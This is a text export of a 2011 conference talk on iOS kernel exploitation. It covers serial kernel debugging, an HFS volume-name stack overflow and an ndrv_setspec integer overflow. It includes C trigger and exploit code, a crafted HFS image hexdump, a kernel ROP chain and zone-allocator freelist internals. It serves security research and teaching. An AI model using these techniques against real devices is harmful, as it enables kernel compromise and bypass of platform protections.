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Who am I?

Stefan Esser

• from Cologne / Germany

• in information security since 1998

• PHP core developer since 2001

• Month of PHP Bugs and Suhosin

• recently focused on iPhone security (ASLR, jailbreak)

• founder of SektionEins GmbH

• currently also working as independent contractor
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Agenda

• Introduction

• Kernel Debugging

• Kernel Exploitation

• Stack Buffer Overflows

• Heap Buffer Overflows

• Kernelpatches from Jailbreaks

3



Stefan Esser  •  iOS Kernel Exploitation • August 2011  •  

Part I

Introduction
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Mac OS X vs. iOS (I)

• iOS is based on XNU like Mac OS X

• exploitation of kernel vulnerabilities is therefore similar

• some kernel bugs can be found by auditing the open source XNU

• but some bugs are only/more interesting on iOS
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Mac OS X vs. iOS (II)

OS X Kernel

• user-land dereference bugs are not exploitable

• privilege escalation to root usually highest goal

• memory corruptions or code exec in kernel nice but usually not required

• kernel exploits only triggerable as root are not interesting

6



Stefan Esser  •  iOS Kernel Exploitation • August 2011  •  

Mac OS X vs. iOS (III)

iOS Kernel

• user-land dereference bugs are partially exploitable

• privilege escalation to root just a starting point

• memory corruptions or code exec in kernel always required

• kernel exploits only triggerable as root are interesting
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Types of Kernel Exploits

normal kernel exploits

• privilege escalation from “mobile“ user in applications

• break out of sandbox

• disable codesigning and RWX protection for easier infection

• must be implemented in 100% ROP

untethering exploits

• kernel exploit as “root“ user during boot sequence

• patch kernel to disable all security features in order to jailbreak

• from iOS 4.3.0 also needs to be implemented in 100% ROP
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Part II

Kernel Debugging
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iOS Kernel Debugging

• no support for kernel level debugging by iOS SDK

• developers are not supposed to do kernel work anyway

• strings inside kernelcache indicate the presence of debugging code

• boot arg “debug“ is used

• and code of KDP seems there

10



Stefan Esser  •  iOS Kernel Exploitation • August 2011  •  

KDP on iOS 4

• the OS X kernel debugger KDP is obviously inside the iOS kernel

• but KDP does only work via ethernet or serial interface

• how to communicate with KDP?

• the iPhone / iPad do not have ethernet or serial, do they? 
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iPhone Dock Connector (Pin-Out)

iPhone Dock Connector has PINs for

- Line Out / In

- Video Out

- USB

- FireWire

- Serial

12

PIN Desc

1,2 GND

3 Line Out - R+

4 Line Out - L+

5 Line In - R+

6 Line In - L+

8 Video Out

9 S-Video CHR Output

10 S-Video LUM Output

11 GND

12 Serial TxD

13 Serial RxD

14 NC

15,16 GND

17 NC

18 3.3V Power

19,20 12V Firewire Power

21 Accessory Indicator/Serial Enable

22 FireWire Data TPA-

23 USB Power 5 VDC

24 FireWire Data TPA+

25 USB Data -

26 FireWire Data TPB-

27 USB Data +

28 FireWire Data TPB+

29,30 GND
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USB Serial to iPhone Dock Connector

13

470kΩ resistor

Breakout Board 
FT232RL USB to Serial

470kΩ resistor 470kΩ resistor

PodGizmo Connector

2 x mini-USB-B to USB-A cable
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Ingredients (I)

• 470 kΩ resistor

• used to bridge pin 1 and 21

• activates the UART

• costs a few cents
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Ingredients (II)

• PodBreakout

• easy access to dock connector pins

• some revisions have reversed pins

• even I was able to solder this

• about 12 EUR
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Ingredients (III)

• FT232RL Breakout Board

• USB to Serial Convertor

• also very easy to solder

• about 10 EUR
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Ingredients (IV)

• USB cables

• type A -> mini type B

• provides us with wires and 
connectors

• costs a few EUR
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Final USB and USB Serial Cable

• attaching a USB type A connector to the USB pins is very usefull

• we can now do SSH over USB

• and kernel debug via serial line at the same time
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GDB and iOS KDP

• GDB comming with the iOS SDK has ARM support

• it also has KDP support

• however it can only speak KDP over UDP

• KDP over serial is not supported

19
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KDP over serial

• KDP over serial is sending fake ethernet UDP over serial

• SerialKDPProxy by David Elliott is able to act as serial/UDP proxy

20

   $ SerialKDPProxy /dev/tty.usbserial-A600exos 
   Opening Serial
   Waiting for packets, pid=362
   ^@AppleS5L8930XIO::start: chip-revision: C0
   AppleS5L8930XIO::start: PIO Errors Enabled
   AppleARMPL192VIC::start: _vicBaseAddress = 0xccaf5000
   AppleS5L8930XGPIOIC::start: gpioicBaseAddress: 0xc537a000
   AppleARMPerformanceController::traceBufferCreate: _pcTraceBuffer: 0xcca3a000 ...
   AppleS5L8930XPerformanceController::start: _pcBaseAddress: 0xccb3d000
   AppleARMPerformanceController configured with 1 Performance Domains
   AppleS5L8900XI2SController::start: i2s0 i2sBaseAddress: 0xcb3ce400 i2sVersion: 2
   ...
   AppleS5L8930XUSBPhy::start : registers at virtual: 0xcb3d5000, physical: 0x86000000
   AppleVXD375 - start (provider 0x828bca00)
   AppleVXD375 - compiled on Apr  4 2011 10:19:48
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Activating KDP on the iPhone

• KDP is only activated if the boot-arg “debug“ is set

• boot-args can be set with e.g. redsn0w 0.9.8b4

• or faked with a custom kernel

• patch your kernel to get into KDP anytime (e.g. breakpoint in unused syscall)

21

Name Value Meaning

DB_HALT 0x01 Halt at boot-time and wait for debugger attach.

DB_KPRT 0x08 Send kernel debugging kprintf output to serial port.

... ... Other values might work but might be complicated to use.
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Using GDB...

22

   $ /Developer/Platforms/iPhoneOS.platform/Developer/usr/bin/gdb -arch armv7 \
           kernelcache.iPod4,1_4.3.2_8H7.symbolized
   GNU gdb 6.3.50-20050815 (Apple version gdb-1510) (Fri Oct 22 04:12:10 UTC 2010)
   ...
   (gdb) target remote-kdp
   (gdb) attach 127.0.0.1
   Connected.
   (gdb) i r
   r0             0x0	0
   r1             0x1	1
   r2             0x0	0
   r3             0x1	1
   r4             0x0	0
   r5             0x8021c814	 -2145269740
   r6             0x0	0
   r7             0xc5a13efc	 -979288324
   r8             0x0	0
   r9             0x27	 39
   r10            0x0	0
   r11            0x0	0
   r12            0x802881f4	 -2144828940
   sp             0xc5a13ee4	 -979288348
   lr             0x8006d971	 -2147034767
   pc             0x8006e110	 -2147032816
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Part III

Kernel Exploitation - Stack Buffer Overflow
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HFS Legacy Volume Name Stack Buffer Overflow

• Credits: pod2g

• triggers when a HFS image with overlong volume name is mounted

• stack based buffer overflow in a character conversion routine

• requires root permissions 

• used to untether iOS 4.2.1 - 4.2.8
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HFS Legacy Volume Name Stack Buffer Overflow

25

int mac_roman_to_unicode(const Str31 hfs_str, UniChar *uni_str,
                __unused u_int32_t maxCharLen, u_int32_t *unicodeChars)
{
    ...
    p = hfs_str;
    u = uni_str;

    *unicodeChars = pascalChars = *(p++);   /* pick up length byte */

    while (pascalChars--) {
        c = *(p++);

        if ( (int8_t) c >= 0 ) {        /* check if seven bit ascii */
            *(u++) = (UniChar) c;   /* just pad high byte with zero */
        } else { /* its a hi bit character */
            UniChar uc;

            c &= 0x7F;
            *(u++) = uc = gHiBitBaseUnicode[c];
            ...
        }
    }
    ...

maxCharLen parameter
available but unused

loop counter
is attacker supplied

data is copied/encoded
without length check
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Legacy HFS Master Directory Block

26

/* HFS Master Directory Block - 162 bytes */
/* Stored at sector #2 (3rd sector) and second-to-last sector. */
struct HFSMasterDirectoryBlock {
    u_int16_t       drSigWord;  /* == kHFSSigWord */
    u_int32_t       drCrDate;   /* date and time of volume creation */
    u_int32_t       drLsMod;    /* date and time of last modification */
    u_int16_t       drAtrb;     /* volume attributes */
    u_int16_t       drNmFls;    /* number of files in root folder */
    u_int16_t       drVBMSt;    /* first block of volume bitmap */
    u_int16_t       drAllocPtr; /* start of next allocation search */
    u_int16_t       drNmAlBlks; /* number of allocation blocks in volume */
    u_int32_t       drAlBlkSiz; /* size (in bytes) of allocation blocks */
    u_int32_t       drClpSiz;   /* default clump size */
    u_int16_t       drAlBlSt;   /* first allocation block in volume */
    u_int32_t       drNxtCNID;  /* next unused catalog node ID */
    u_int16_t       drFreeBks;  /* number of unused allocation blocks */
    u_int8_t        drVN[kHFSMaxVolumeNameChars + 1];  /* volume name */
    u_int32_t       drVolBkUp;  /* date and time of last backup */
    u_int16_t       drVSeqNum;  /* volume backup sequence number */
    ...
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Hexdump of Triggering HFS Image

27

   $ hexdump -C exploit.hfs 
   00000000  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
   *
   00000400  42 44 00 00 00 00 00 00  00 00 01 00 00 00 00 00  |BD..............|
   00000410  00 00 00 00 00 00 02 00  00 00 00 00 00 00 00 00  |................|
   00000420  00 00 00 00 60 41 41 41  41 42 42 42 42 43 43 43  |....`AAAABBBBCCC|
   00000430  43 44 44 44 44 45 45 45  45 46 46 46 46 47 47 47  |CDDDDEEEEFFFFGGG|
   00000440  47 48 48 48 48 49 49 49  49 4a 4a 4a 4a 4b 4b 4b  |GHHHHIIIIJJJJKKK|
   00000450  4b 4c 4c 4c 4c 4d 4d 4d  4d 4e 4e 4e 4e 4f 4f 4f  |KLLLLMMMMNNNNOOO|
   00000460  4f 50 50 50 50 51 51 51  51 52 52 52 52 53 53 53  |OPPPPQQQQRRRRSSS|
   00000470  53 54 54 54 54 55 55 55  55 56 56 56 56 57 57 57  |STTTTUUUUVVVVWWW|
   00000480  57 58 58 58 58 00 00 00  00 00 00 00 00 00 00 00  |WXXXX...........|
   00000490  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
   *
   00000600
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Exploit Code

28

    int ret, fd; struct vn_ioctl vn; struct hfs_mount_args args;
    
    fd = open("/dev/vn0", O_RDONLY, 0);
    if (fd < 0) {
        puts("Can't open /dev/vn0 special file.");
        exit(1);
    }
    
    memset(&vn, 0, sizeof(vn));
    ioctl(fd, VNIOCDETACH, &vn);
    vn.vn_file = "/usr/lib/exploit.hfs";
    vn.vn_control = vncontrol_readwrite_io_e;
    ret = ioctl(fd, VNIOCATTACH, &vn);
    close(fd);
    if (ret < 0) {
        puts("Can't attach vn0.");
        exit(1);
    }
    
    memset(&args, 0, sizeof(args));
    args.fspec = "/dev/vn0";
    args.hfs_uid = args.hfs_gid = 99;
    args.hfs_mask = 0x1c5;
    ret = mount("hfs", "/mnt/", MNT_RDONLY, &args);
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Paniclog

29

   <plist version="1.0">
   <dict>
   	    <key>bug_type</key>
	    <string>110</string>
	    <key>description</key>
	    <string>Incident Identifier: XXXXXXXX-XXXX-XXXX-XXXX-XXXXXXXXXXXX
   CrashReporter Key:   8a2da05455775e8987cbfac5a0ca54f3f728e274
   Hardware Model:      iPod4,1
   Date/Time:       2011-07-26 09:55:12.761 +0200
   OS Version:      iPhone OS 4.2.1 (8C148)

   kernel abort type 4: fault_type=0x3, fault_addr=0x570057
   r0: 0x00000041  r1: 0x00000000  r2: 0x00000000  r3: 0x000000ff
   r4: 0x00570057  r5: 0x00540053  r6: 0x00570155  r7: 0xcdbfb720
   r8: 0xcdbfb738  r9: 0x00000000 r10: 0x0000003a r11: 0x00000000
   12: 0x00000000  sp: 0xcdbfb6e0  lr: 0x8011c47f  pc: 0x8009006a
   cpsr: 0x80000033 fsr: 0x00000805 far: 0x00570057

   Debugger message: Fatal Exception
   OS version: 8C148
   Kernel version: Darwin Kernel Version 10.4.0: Wed Oct 20 20:14:45 PDT 2010; root:xnu-1504.58.28~3/RELEASE_ARM_S5L8930X
   iBoot version: iBoot-931.71.16
   secure boot?: YES
   Paniclog version: 1
   Epoch Time:        sec       usec
     Boot    : 0x4e2e7173 0x00000000
     Sleep   : 0x00000000 0x00000000
     Wake    : 0x00000000 0x00000000
     Calendar: 0x4e2e7285 0x000f2b1a

   Task 0x80e08d3c: 5484 pages, 77 threads: pid 0: kernel_task
   ...
   Task 0x83a031e4: 76 pages, 1 threads: pid 209: hfsexploit
  	    thread 0xc0717000
	 	    kernel backtrace: cdbfb5b4
	 	      lr: 0x80068a91  fp: 0xcdbfb5e0
	 	      lr: 0x80069fd4  fp: 0xcdbfb5ec
	 	      lr: 0x8006adb8  fp:</string>
	    ...
   </dict>
   </plist>
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Paniclog - Zoomed

30

   ...
   Hardware Model:      iPod4,1
   Date/Time:       2011-07-26 09:55:12.761 +0200
   OS Version:      iPhone OS 4.2.1 (8C148)

   kernel abort type 4: fault_type=0x3, fault_addr=0x570057
   r0: 0x00000041  r1: 0x00000000  r2: 0x00000000  r3: 0x000000ff
   r4: 0x00570057  r5: 0x00540053  r6: 0x00570155  r7: 0xcdbfb720
   r8: 0xcdbfb738  r9: 0x00000000 r10: 0x0000003a r11: 0x00000000
   12: 0x00000000  sp: 0xcdbfb6e0  lr: 0x8011c47f  pc: 0x8009006a
   cpsr: 0x80000033 fsr: 0x00000805 far: 0x00570057

   Debugger message: Fatal Exception
   OS version: 8C148
   ...



Stefan Esser  •  iOS Kernel Exploitation • August 2011  •  

Paniclog - Zoomed

31

   ...
   Hardware Model:      iPod4,1
   Date/Time:       2011-07-26 09:55:12.761 +0200
   OS Version:      iPhone OS 4.2.1 (8C148)

   kernel abort type 4: fault_type=0x3, fault_addr=0x570057
   r0: 0x00000041  r1: 0x00000000  r2: 0x00000000  r3: 0x000000ff
   r4: 0x00570057  r5: 0x00540053  r6: 0x00570155  r7: 0xcdbfb720
   r8: 0xcdbfb738  r9: 0x00000000 r10: 0x0000003a r11: 0x00000000
   12: 0x00000000  sp: 0xcdbfb6e0  lr: 0x8011c47f  pc: 0x8009006a
   cpsr: 0x80000033 fsr: 0x00000805 far: 0x00570057

   Debugger message: Fatal Exception
   OS version: 8C148
   ...
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Calling Function

32

int
hfs_to_utf8(ExtendedVCB *vcb, const Str31 hfs_str, ...)
{
    int error;
    UniChar uniStr[MAX_HFS_UNICODE_CHARS];
    ItemCount uniCount;
    size_t utf8len;
    hfs_to_unicode_func_t hfs_get_unicode = VCBTOHFS(vcb)->hfs_get_unicode;

    error = hfs_get_unicode(hfs_str, uniStr, MAX_HFS_UNICODE_CHARS, &uniCount);
    
    if (uniCount == 0)
        error = EINVAL;

    if (error == 0) {
        error = utf8_encodestr(uniStr, uniCount * sizeof(UniChar), dstStr, &utf8len, maxDstLen , ':', 0);
        ...
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Calling Function (II)

33

Text

buffer that is overflown

call to 
mac_roman_to_unicode()

should be 0
to exit function
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Hexdump of Improved HFS Image

34

   $ hexdump -C exploit_improved.hfs 
   00000000  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
   *
   00000400  42 44 00 00 00 00 00 00  00 00 01 00 00 00 00 00  |BD..............|
   00000410  00 00 00 00 00 00 02 00  00 00 00 00 00 00 00 00  |................|
   00000420  00 00 00 00 60 58 58 58  58 58 58 58 58 58 58 58  |....`XXXXXXXXXXX|
   00000430  58 58 58 58 58 58 58 58  58 58 58 58 58 58 58 58  |XXXXXXXXXXXXXXXX|
   00000440  58 58 58 58 58 58 58 58  58 58 58 58 58 58 58 58  |XXXXXXXXXXXXXXXX|
   00000450  58 58 58 58 58 58 58 58  58 58 58 58 58 58 58 58  |XXXXXXXXXXXXXXXX|
   00000460  58 58 58 58 58 58 58 58  58 58 58 58 58 58 58 58  |XXXXXXXXXXXXXXXX|
   00000470  58 58 00 00 41 41 42 42  43 43 44 44 45 45 46 46  |XX..AABBCCDDEEFF|
   00000480  47 47 48 48 58 00 00 00  00 00 00 00 00 00 00 00  |GGHHX...........|
   00000490  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
   *
   00000600

uniCount R4 R5 R6 R7 PC
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Paniclog of Improved HFS Image

35

   ...
   Hardware Model:      iPod4,1
   Date/Time:       2011-07-26 11:05:23.612 +0200
   OS Version:      iPhone OS 4.2.1 (8C148)

   sleh_abort: prefetch abort in kernel mode: fault_addr=0x450044
   r0: 0x00000016  r1: 0x00000000  r2: 0x00000058  r3: 0xcdbf37d0
   r4: 0x00410041  r5: 0x00420042  r6: 0x00430043  r7: 0x00440044
   r8: 0x8a3ee804  r9: 0x00000000 r10: 0x81b44250 r11: 0xc07c7000
   12: 0x89640c88  sp: 0xcdbf37e8  lr: 0x8011c457  pc: 0x00450044
   cpsr: 0x20000033 fsr: 0x00000005 far: 0x00450044

   Debugger message: Fatal Exception
   OS version: 8C148
   ...

THUMB mode
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From Overwritten PC to Code Execution

• once we control PC we can jump anywhere in kernel space

• in iOS a lot of kernel memory is executable

• challenge is to put code into kernel memory

• and to know its address

• nemo‘s papers already show ways to do this for OS X

36
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Kernel Level ROP

37

802D2300 RWX page in kernel

xxx r7

xxx r4

80033C08 gadget 2

xxx r7

80067C60 copyin

400 length

20000000 src in 
user space

802D2300 RWX page in kernel

803F5BC2 gadget 1 __text:803F5BC2   POP   {R0-R2,R4,R7,PC}

__text:80033C08   BLX   R4
__text:80033C0A   POP   {R4,R7,PC}

• kernel level ROP very attractive because limited amount of different iOS kernel versions

• just copy data from user space to kernel memory

• and return into it
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Back To Our Demo Overflow

• previous methods not feasible in our situation

• HFS volume name overflow is a unicode overflow

• unicode strings cannot create addresses pointing to kernel space 
(>= 0x80000000)

• feasibility of partial address overwrite not evaluated

➡ this is iOS not Mac OS X => we can return to user space memory

38
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Returning into User Space Memory

• unicode overflow allows us to return to 0x10000 or 0x10001

• exploiting Mac OS X binary needs to map executable memory at this address

• exploit can then mlock() the memory

• and let the kernel just return to this address

39
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Part IV

Kernel Exploitation - Heap Buffer Overflow

40
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ndrv_setspec() Integer Overflow Vulnerability

• Credits: Stefan Esser

• inside the NDRV_SETDMXSPEC socket option handler

• triggers when a high demux_count is used

• integer overflow when allocating kernel memory 

• leads to a heap buffer overflow

• requires root permissions 

• used to untether iOS 4.3.1 - 4.3.3

41
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ndrv_setspec() Integer Overflow Vulnerability

42

    bzero(&proto_param, sizeof(proto_param));
    proto_param.demux_count = ndrvSpec.demux_count;
    
    /* Allocate storage for demux array */
    MALLOC(ndrvDemux, struct ndrv_demux_desc*, proto_param.demux_count *
           sizeof(struct ndrv_demux_desc), M_TEMP, M_WAITOK);
    if (ndrvDemux == NULL)
        return ENOMEM;
    
    /* Allocate enough ifnet_demux_descs */
    MALLOC(proto_param.demux_array, struct ifnet_demux_desc*,
           sizeof(*proto_param.demux_array) * ndrvSpec.demux_count,
           M_TEMP, M_WAITOK);
    if (proto_param.demux_array == NULL)
        error = ENOMEM;
    
    if (error == 0)
    {
        /* Copy the ndrv demux array from userland */
        error = copyin(user_addr, ndrvDemux,
                       ndrvSpec.demux_count * sizeof(struct ndrv_demux_desc));
        ndrvSpec.demux_list = ndrvDemux;
    }

integer multiplication
with potential overflow

user controlled
demux_count

same integer
overflow

therefore THIS is 
NOT overflowing
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ndrv_setspec() Integer Overflow Vulnerability

43

    if (error == 0)
    {
        /* At this point, we've at least got enough bytes to start looking around */
        u_int32_t   demuxOn = 0;
        
        proto_param.demux_count = ndrvSpec.demux_count;
        proto_param.input = ndrv_input;
        proto_param.event = ndrv_event;
        
        for (demuxOn = 0; demuxOn < ndrvSpec.demux_count; demuxOn++)
        {
            /* Convert an ndrv_demux_desc to a ifnet_demux_desc */
            error = ndrv_to_ifnet_demux(&ndrvSpec.demux_list[demuxOn],
                                        &proto_param.demux_array[demuxOn]);
            if (error)
                break;
        }
    }

because of
high demux_count

this loop loops
very often

we need to be able
to set error

at some point
to stop overflowing

function converts
into different
data format

lets us overflow !!!
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ndrv_setspec() Integer Overflow Vulnerability

44

int
ndrv_to_ifnet_demux(struct ndrv_demux_desc* ndrv, struct ifnet_demux_desc* ifdemux)
{
    bzero(ifdemux, sizeof(*ifdemux));
    
    if (ndrv->type < DLIL_DESC_ETYPE2)
    {
        /* using old "type", not supported */
        return ENOTSUP;
    }
    
    if (ndrv->length > 28)
    {
        return EINVAL;
    }
    
    ifdemux->type = ndrv->type;
    ifdemux->data = ndrv->data.other;
    ifdemux->datalen = ndrv->length;
    
    return 0;
}

user input can
create this

errors easily

writes into
too small buffer

limited in what
can be written

BUT IT WRITES A POINTER !!!
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Triggering Code (no crash!)

45

    struct sockaddr_ndrv ndrv; int s, i;
    struct ndrv_protocol_desc ndrvSpec; char demux_list_buffer[15 * 32];
    
    s = socket(AF_NDRV, SOCK_RAW, 0);
    if (s < 0) {
        // ...
    }
    strlcpy((char *)ndrv.snd_name, "lo0", sizeof(ndrv.snd_name));
    ndrv.snd_len = sizeof(ndrv);
    ndrv.snd_family = AF_NDRV;
    if (bind(s, (struct sockaddr *)&ndrv, sizeof(ndrv)) < 0) {
        // ...
    }

    memset(demux_list_buffer, 0x55, sizeof(demux_list_buffer));
    for (i = 0; i < 15; i++) {
        /* fill type with a high value */
        demux_list_buffer[0x00 + i*32] = 0xFF;
        demux_list_buffer[0x01 + i*32] = 0xFF;
        /* fill length with a small value < 28 */
        demux_list_buffer[0x02 + i*32] = 0x04;
        demux_list_buffer[0x03 + i*32] = 0x00;
    }
    
    ndrvSpec.version = 1;              ndrvSpec.protocol_family = 0x1234;
    ndrvSpec.demux_count = 0x4000000a; ndrvSpec.demux_list = &demux_list_buffer;
    
    setsockopt(s, SOL_NDRVPROTO, NDRV_SETDMXSPEC, &ndrvSpec, sizeof(struct ndrv_protocol_desc));

high demux_count
triggers 

integer overflow

example most
propably does
not crash due

to checks inside
ndrv_to_ifnet_demux
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MALLOC() and Heap Buffer Overflows

• the vulnerable code uses MALLOC() to allocate memory

• MALLOC() is a macro that calls _MALLOC()

• _MALLOC() is a wrapper around kalloc() that adds a short header (allocsize)

• kalloc() is also a wrapper that uses

• kmem_alloc() for large blocks of memory 

• zalloc() for small blocks of memory

➡ we only concentrate on zalloc() because it is the only relevant allocator here

46
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Zone Allocator - zalloc()

• zalloc() allocates memory in so 
called zones

• each zone is described by a zone 
struct and has a zone name

• a zone consists of a number of 
memory pages

• each allocated block inside a 
zone is of the same size

• free elements are stored in
a linked list

47

struct zone {
    int     count;      /* Number of elements used now */
    vm_offset_t free_elements;
    decl_lck_mtx_data(,lock)    /* zone lock */
    lck_mtx_ext_t   lock_ext;   /* placeholder for indirect mutex */
    lck_attr_t      lock_attr;  /* zone lock attribute */
    lck_grp_t       lock_grp;   /* zone lock group */
    lck_grp_attr_t  lock_grp_attr;  /* zone lock group attribute */
    vm_size_t   cur_size;   /* current memory utilization */
    vm_size_t   max_size;   /* how large can this zone grow */
    vm_size_t   elem_size;  /* size of an element */
    vm_size_t   alloc_size; /* size used for more memory */
    unsigned int
    /* boolean_t */ exhaustible :1, /* (F) merely return if empty? */
    /* boolean_t */ collectable :1, /* (F) garbage collect empty pages */
    /* boolean_t */ expandable :1,  /* (T) expand zone (with message)? */
    /* boolean_t */ allows_foreign :1,/* (F) allow non-zalloc space */
    /* boolean_t */ doing_alloc :1, /* is zone expanding now? */
    /* boolean_t */ waiting :1, /* is thread waiting for expansion? */
    /* boolean_t */ async_pending :1,   /* asynchronous allocation pending? */
    /* boolean_t */ doing_gc :1,    /* garbage collect in progress? */
    /* boolean_t */ noencrypt :1;
    struct zone *   next_zone;  /* Link for all-zones list */
    call_entry_data_t   call_async_alloc;   /* callout for asynchronous alloc */
    const char  *zone_name; /* a name for the zone */
#if ZONE_DEBUG
    queue_head_t    active_zones;   /* active elements */
#endif  /* ZONE_DEBUG */
};
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Zone Allocator - Zones

48

   $ zprint
                             elem    cur    max    cur    max   cur alloc alloc
   zone name                 size   size   size  #elts  #elts inuse  size count
   -------------------------------------------------------------------------------
   zones                      388    51K    52K    136    137   122    8K    21  
   vm.objects                 148 14904K 19683K 103125 136185101049    8K    55 C
   vm.object.hash.entries      20  1737K  2592K  88944 132710 79791    4K   204 C
   maps                       164    20K    40K    125    249   109   16K    99  
   non-kernel.map.entries      44  1314K  1536K  30597  35746 28664    4K    93 C
   kernel.map.entries          44 10903K 10904K 253765 253765  2407    4K    93  
   map.copies                  52     7K    16K    157    315     0    8K   157 C
   pmap                       116    15K    48K    140    423    99    4K    35 C
   pv_list                     28  3457K  4715K 126436 172460126400    4K   146 C
   pdpt                        64     0K    28K      0    448     0    4K    64 C
   kalloc.16                   16   516K   615K  33024  39366 32688    4K   256 C
   kalloc.32                   32  2308K  3280K  73856 104976 71682    4K   128 C
   kalloc.64                   64  3736K  4374K  59776  69984 58075    4K    64 C
   kalloc.128                 128  3512K  3888K  28096  31104 27403    4K    32 C
   kalloc.256                 256  6392K  7776K  25568  31104 21476    4K    16 C
   kalloc.512                 512  1876K  2592K   3752   5184  3431    4K     8 C
   kalloc.1024               1024   728K  1024K    728   1024   673    4K     4 C
   kalloc.2048               2048  8504K 10368K   4252   5184  4232    4K     2 C
   kalloc.4096               4096  2584K  4096K    646   1024   626    4K     1 C
   kalloc.8192               8192  2296K 32768K    287   4096   276    8K     1 C
   ...
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Zone Allocator - Adding New Memory

• when a zone is created or later grown it 
starts with no memory and an empty freelist

• first new memory is allocated
(usually a 4k page)

• it is split into the zone‘s element size

• each element is added to the freelist

• elements in freelist are in reverse order

49

head of freelist
0

MY_ZONE
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Zone Allocator - Adding New Memory

• when a zone is created or later grown it 
starts with no memory and an empty freelist

• first new memory is allocated
(usually a 4k page)

• it is split into the zone‘s element size

• each element is added to the freelist

• elements in freelist are in reverse order
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head of freelist
0

MY_ZONE
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Zone Allocator - Adding New Memory

• when a zone is created or later grown it 
starts with no memory and an empty freelist

• first new memory is allocated
(usually a 4k page)

• it is split into the zone‘s element size

• each element is added to the freelist

• elements in freelist are in reverse order
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head of freelist
0

MY_ZONE
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Zone Allocator - Adding New Memory

• when a zone is created or later grown it 
starts with no memory and an empty freelist

• first new memory is allocated
(usually a 4k page)

• it is split into the zone‘s element size

• each element is added to the freelist

• elements in freelist are in reverse order
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head of freelist
1

MY_ZONE

1

1



Stefan Esser  •  iOS Kernel Exploitation • August 2011  •  

Zone Allocator - Adding New Memory

• when a zone is created or later grown it 
starts with no memory and an empty freelist

• first new memory is allocated
(usually a 4k page)

• it is split into the zone‘s element size

• each element is added to the freelist

• elements in freelist are in reverse order
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head of freelist
2

MY_ZONE

1

2

2

1
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Zone Allocator - Adding New Memory

• when a zone is created or later grown it 
starts with no memory and an empty freelist

• first new memory is allocated
(usually a 4k page)

• it is split into the zone‘s element size

• each element is added to the freelist

• elements in freelist are in reverse order
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Zone Allocator - Adding New Memory

• when a zone is created or later grown it 
starts with no memory and an empty freelist

• first new memory is allocated
(usually a 4k page)

• it is split into the zone‘s element size

• each element is added to the freelist

• elements in freelist are in reverse order
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Zone Allocator - Adding New Memory

• when a zone is created or later grown it 
starts with no memory and an empty freelist

• first new memory is allocated
(usually a 4k page)

• it is split into the zone‘s element size

• each element is added to the freelist

• elements in freelist are in reverse order
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Zone Allocator - Adding New Memory

• when a zone is created or later grown it 
starts with no memory and an empty freelist

• first new memory is allocated
(usually a 4k page)

• it is split into the zone‘s element size

• each element is added to the freelist

• elements in freelist are in reverse order
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Zone Allocator - Adding New Memory

• when a zone is created or later grown it 
starts with no memory and an empty freelist

• first new memory is allocated
(usually a 4k page)

• it is split into the zone‘s element size

• each element is added to the freelist

• elements in freelist are in reverse order
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Zone Allocator - Allocating and Freeing Memory

• when memory blocks are allocated they 
are removed from the freelist

• when they are freed they are returned 
to the freelist
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Zone Allocator - Allocating and Freeing Memory

• when memory blocks are allocated they 
are removed from the freelist

• when they are freed they are returned 
to the freelist
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Zone Allocator - Allocating and Freeing Memory

• when memory blocks are allocated they 
are removed from the freelist

• when they are freed they are returned 
to the freelist
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Zone Allocator - Allocating and Freeing Memory

• when memory blocks are allocated they 
are removed from the freelist

• when they are freed they are returned 
to the freelist
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Zone Allocator - Allocating and Freeing Memory

• when memory blocks are allocated they 
are removed from the freelist

• when they are freed they are returned 
to the freelist
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Zone Allocator - Allocating and Freeing Memory

• when memory blocks are allocated they 
are removed from the freelist

• when they are freed they are returned 
to the freelist
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Zone Allocator - Allocating and Freeing Memory

• when memory blocks are allocated they 
are removed from the freelist

• when they are freed they are returned 
to the freelist
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Zone Allocator - Allocating and Freeing Memory

• when memory blocks are allocated they 
are removed from the freelist

• when they are freed they are returned 
to the freelist
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Zone Allocator - Allocating and Freeing Memory

• when memory blocks are allocated they 
are removed from the freelist

• when they are freed they are returned 
to the freelist
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Zone Allocator Freelist

• freelist is as single linked list

• zone struct points to head of freelist

• the freelist is stored inbound

• first 4 bytes of a free block point to 
next block on freelist
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Zone Allocator Freelist - Removing Element

69

#define REMOVE_FROM_ZONE(zone, ret, type)                   \
MACRO_BEGIN                                 \
    (ret) = (type) (zone)->free_elements;                   \
    if ((ret) != (type) 0) {                        \
        if (check_freed_element) {                  \
            if (!is_kernel_data_addr(((vm_offset_t *)(ret))[0]) ||  \
                ((zone)->elem_size >= (2 * sizeof(vm_offset_t)) &&  \
                ((vm_offset_t *)(ret))[((zone)->elem_size/sizeof(vm_offset_t))-1] != \
                ((vm_offset_t *)(ret))[0]))             \
                panic("a freed zone element has been modified");\
            if (zfree_clear) {                  \
                unsigned int ii;                \
                for (ii = sizeof(vm_offset_t) / sizeof(uint32_t); \
                     ii < zone->elem_size/sizeof(uint32_t) - sizeof(vm_offset_t) / sizeof(uint32_t); \
                     ii++)                  \
                    if (((uint32_t *)(ret))[ii] != (uint32_t)0xdeadbeef) \
                        panic("a freed zone element has been modified");\
            }                           \
        }                               \
        (zone)->count++;                        \
        (zone)->free_elements = *((vm_offset_t *)(ret));        \
    }                                   \
MACRO_END

head of freelist
will be returned

new head of freelist is
read from previous head

grey code is only activated by debugging boot-args
Apple seems to think about activating it by default
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Zone Allocator Freelist - Adding Element

70

#define ADD_TO_ZONE(zone, element)                  \
MACRO_BEGIN                             \
    if (zfree_clear)                        \
    {   unsigned int i;                     \
        for (i=0;                           \
         i < zone->elem_size/sizeof(uint32_t);          \
         i++)                           \
        ((uint32_t *)(element))[i] = 0xdeadbeef;            \
    }                               \
    *((vm_offset_t *)(element)) = (zone)->free_elements;        \
    if (check_freed_element) {                  \
        if ((zone)->elem_size >= (2 * sizeof(vm_offset_t))) \
            ((vm_offset_t *)(element))[((zone)->elem_size/sizeof(vm_offset_t))-1] = \
                (zone)->free_elements;          \
    }                               \
    (zone)->free_elements = (vm_offset_t) (element);        \
    (zone)->count--;                        \
MACRO_END

current head of freelist
is written to start of free block

free block is made 
the head of the freelist

grey code is only activated by debugging boot-args
Apple seems to think about activating it by default
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Exploiting Heap Overflows in Zone Memory

attacking “application“ data

• carefully crafting allocations / deallocations 

• interesting kernel data structure is allocated behind overflowing block

